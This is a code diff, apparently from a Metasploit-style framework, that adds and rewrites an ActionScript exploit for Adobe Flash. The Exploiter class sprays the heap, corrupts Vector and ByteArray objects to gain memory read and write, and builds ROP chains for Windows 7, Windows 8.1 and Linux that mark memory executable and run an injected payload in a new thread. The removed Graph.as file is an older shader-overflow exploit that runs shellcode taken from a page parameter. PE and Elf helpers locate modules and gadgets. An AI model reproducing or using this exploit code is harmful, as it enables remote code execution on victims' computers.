uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,399 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(90000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -1,411 +0,0 @@
//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf
package {
import flash.display.Sprite;
import flash.utils.ByteArray;
import flash.display.Shader;
import flash.system.Capabilities;
import flash.net.FileReference;
import flash.utils.Endian;
import __AS3__.vec.Vector;
import __AS3__.vec.*;
import flash.display.LoaderInfo;
public class Graph extends Sprite {
static var counter:uint = 0;
protected var Shad:Class;
var shellcode_byte_array:ByteArray;
var aaab:ByteArray;
var shellcodeObj:Array;
public function Graph(){
var tweaked_vector:* = undefined;
var tweaked_vector_address:* = undefined;
var shader:Shader;
var flash_memory_protect:Array;
var code_vectors:Array;
var address_code_vector:uint;
var address_shellcode_byte_array:uint;
this.Shad = Graph_Shad;
super();
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
var i:* = 0;
var j:* = 0;
// Just one try
counter++;
if (counter > 1)
{
return;
};
// Memory massage
var array_length:uint = 0x10000;
var vector_size:uint = 34;
var array:Array = new Array();
i = 0;
while (i < array_length)
{
array[i] = new Vector.<int>(1);
i++;
};
i = 0;
while (i < array_length)
{
array[i] = new Vector.<int>(vector_size);
i++;
};
i = 0;
while (i < array_length)
{
array[i].length = 0;
i++;
};
i = 0x0200;
while (i < array_length)
{
array[(i - (2 * (j % 2)))].length = 0x0100;
i = (i + 28);
j++;
};
// Overflow and Search for corrupted vector
var corrupted_vector_idx:uint;
var shadba:ByteArray = (new this.Shad() as ByteArray);
shadba.position = 232;
if (Capabilities.os.indexOf("Windows 8") >= 0)
{
shadba.writeUnsignedInt(2472);
};
shadba.position = 0;
while (1)
{
shader = new Shader();
try
{
shader.byteCode = (new this.Shad() as ByteArray);
} catch(e)
{
};
i = 0;
while (i < array_length)
{
if (array[i].length > 0x0100)
{
corrupted_vector_idx = i;
break;
};
i++;
};
if (i != array_length)
{
if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
};
array.push(new Vector.<int>(vector_size));
};
// Tweak the vector following the corrupted one
array[corrupted_vector_idx][vector_size] = 0x40000001;
tweaked_vector = array[(corrupted_vector_idx + 1)];
// repair the corrupted vector by restoring its
// vector object pointer and length
var vector_obj_addr:* = tweaked_vector[0x3fffffff];
tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
i = 0;
var val:uint;
while (true)
{
val = tweaked_vector[(0x40000000 - i)];
if (val == 0x90001B) break;
i++;
};
tweaked_vector_address = 0;
if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
{
tweaked_vector[4] = 0x41414141;
tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);
};
// More memory massage, fill an array of FileReference objects
var file_reference_array:Array = new Array();
i = 0;
while (i < 64)
{
file_reference_array[i] = new FileReference();
i++;
};
var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
var do_it:Boolean = true;
var memory_protect_ptr:uint;
var aaaq:uint;
if (do_it)
{
flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
memory_protect_ptr = flash_memory_protect[0];
aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
this.fillCodeVectors(code_vectors);
tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
tweaked_vector[4] = aaaq;
tweaked_vector[0] = 0x1000; // Length
tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
// 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=????????
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
// 1) Set memory as executable
i = 0;
while (i < 64)
{
file_reference_array[i].cancel();
i++;
};
// 2) Execute shellcode
tweaked_vector[7] = address_code_vector;
i = 0;
while (i < 64)
{
file_reference_array[i].cancel();
i++;
};
// Restore FileReference cancel function pointer
// Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
};
}
// returns the integer at memory address
// vector: vector with tweaked length
// vector_address: vector's memory address
// address: memory address to read
function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
if (address >= vector_address)
{
return (vector[((address - vector_address) / 4)]);
};
return (vector[(0x40000000 - ((vector_address - address) / 4))]);
}
function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
if (address >= vector_address)
{
vector[((address - vector_address) / 4)] = value;
} else
{
vector[(0x40000000 - ((vector_address - address) / 4))] = value;
};
}
function findFlashMemoryProtect(vector:*, vector_address:*):Array{
var content:uint;
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
var index:uint;
var memory_protect_ptr:uint;
var _local_6:uint;
if (allocation >= vector_address)
{
index = ((allocation - vector_address) / 4);
} else
{
index = (0x40000000 - ((vector_address - allocation) / 4));
};
//push 1 ; 6a 01
//push dword ptr [eax-8] ; ff 70 f8
//push dword ptr [eax-4] ; ff 70 fc
//call sub_1059DD00 // Will do VirtualProtect
var offset:uint;
while (1)
{
index--;
content = vector[index];
if (content == 0xfff870ff)
{
offset = 2;
break;
};
if (content == 0xf870ff01)
{
offset = 1;
break;
};
if (content == 0x70ff016a)
{
content = vector[(index + 1)];
if (content == 0xfc70fff8)
{
offset = 0;
break;
};
} else
{
if (content == 0x70fff870)
{
offset = 3;
break;
};
};
};
memory_protect_ptr = ((vector_address + (4 * index)) - offset);
index--;
var content_before:uint = vector[index];
if (content_before == 0x16a0424)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0x6a042444)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0x424448b)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0xff016a04)
{
return ([memory_protect_ptr, _local_6]);
};
_local_6 = (memory_protect_ptr - 6);
while (1)
{
index--;
content = vector[index];
if (content == 0x850ff50)
{
if (uint(vector[(index + 1)]) == 0x5e0cc483)
{
offset = 0;
break;
};
};
content = (content & 0xFFFFFF00);
if (content == 0x50FF5000)
{
if (uint(vector[(index + 1)]) == 0xcc48308)
{
offset = 1;
break;
};
};
content = (content & 0xFFFF0000);
if (content == 0xFF500000)
{
if (uint(vector[(index + 1)]) == 0xc4830850)
{
if (uint(vector[(index + 2)]) == 0xc35d5e0c)
{
offset = 2;
break;
};
};
};
content = (content & 0xFF000000);
if (content == 0x50000000)
{
if (uint(vector[(index + 1)]) == 0x830850ff)
{
if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
{
offset = 3;
break;
};
};
};
};
memory_protect_ptr = ((vector_address + (4 * index)) + offset);
return ([memory_protect_ptr, _local_6]);
}
// vector: vector with tweaked length
// address: memory address of vector data
function find_file_ref_vtable(vector:*, address:*):uint{
var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
// Find an allocation of size 0x2a0
var allocation_size:uint;
while (true)
{
allocation_size = this.read_memory(vector, address, (allocation + 8));
if (allocation_size == 0x2a0) break;
if (allocation_size < 0x2a0)
{
allocation = (allocation + 0x24); // next allocation
} else
{
allocation = (allocation - 0x24); // prior allocation
};
};
var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
while (true)
{
if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
};
return (allocation_contents);
}
// Returns pointer to the nops in one of the allocated code vectors
function findCodeVector(vector:*, vector_address:*, mark:*):uint{
var allocation_size:uint;
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
while (true)
{
allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
if (allocation_size == 0x7f0) break; // Code Vector found
allocation = (allocation + 0x24); // next allocation
};
// allocation contents should be the vector code, search for the mark 0x45454545
var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
while (true)
{
if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
};
return ((allocation_contents + 0x2c));
}
// create 8 vectors of size 0x7f0 inside an array to place shellcode
function createCodeVectors(mark:uint, nops:uint){
var code_vectors_array:Array = new Array();
var i:* = 0;
while (i < 8)
{
code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
i++;
};
return (code_vectors_array);
}
// Fill with the code vectors with the shellcode
function fillCodeVectors(array_code_vectors:Array) {
var i:uint = 0;
var sh:uint=1;
while(i < array_code_vectors.length)
{
for(var u:String in shellcodeObj)
{
array_code_vectors[i][sh++] = Number(shellcodeObj[u]);
}
i++;
sh = 1;
}
}
}
}//package

View File

@ -0,0 +1,10 @@
package
{
import mx.core.ByteArrayAsset;
[Embed(source="binary_data_linux", mimeType="application/octet-stream")]
public class GraphShadLinux extends ByteArrayAsset
{
}
}

View File

@ -0,0 +1,10 @@
package
{
import mx.core.ByteArrayAsset;
[Embed(source="binary_data_windows", mimeType="application/octet-stream")]
public class GraphShadWindows extends ByteArrayAsset
{
}
}

View File

@ -1,10 +0,0 @@
package
{
import mx.core.ByteArrayAsset;
[Embed(source="binary_data", mimeType="application/octet-stream")]
public class Graph_Shad extends ByteArrayAsset
{
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

Binary file not shown.

View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
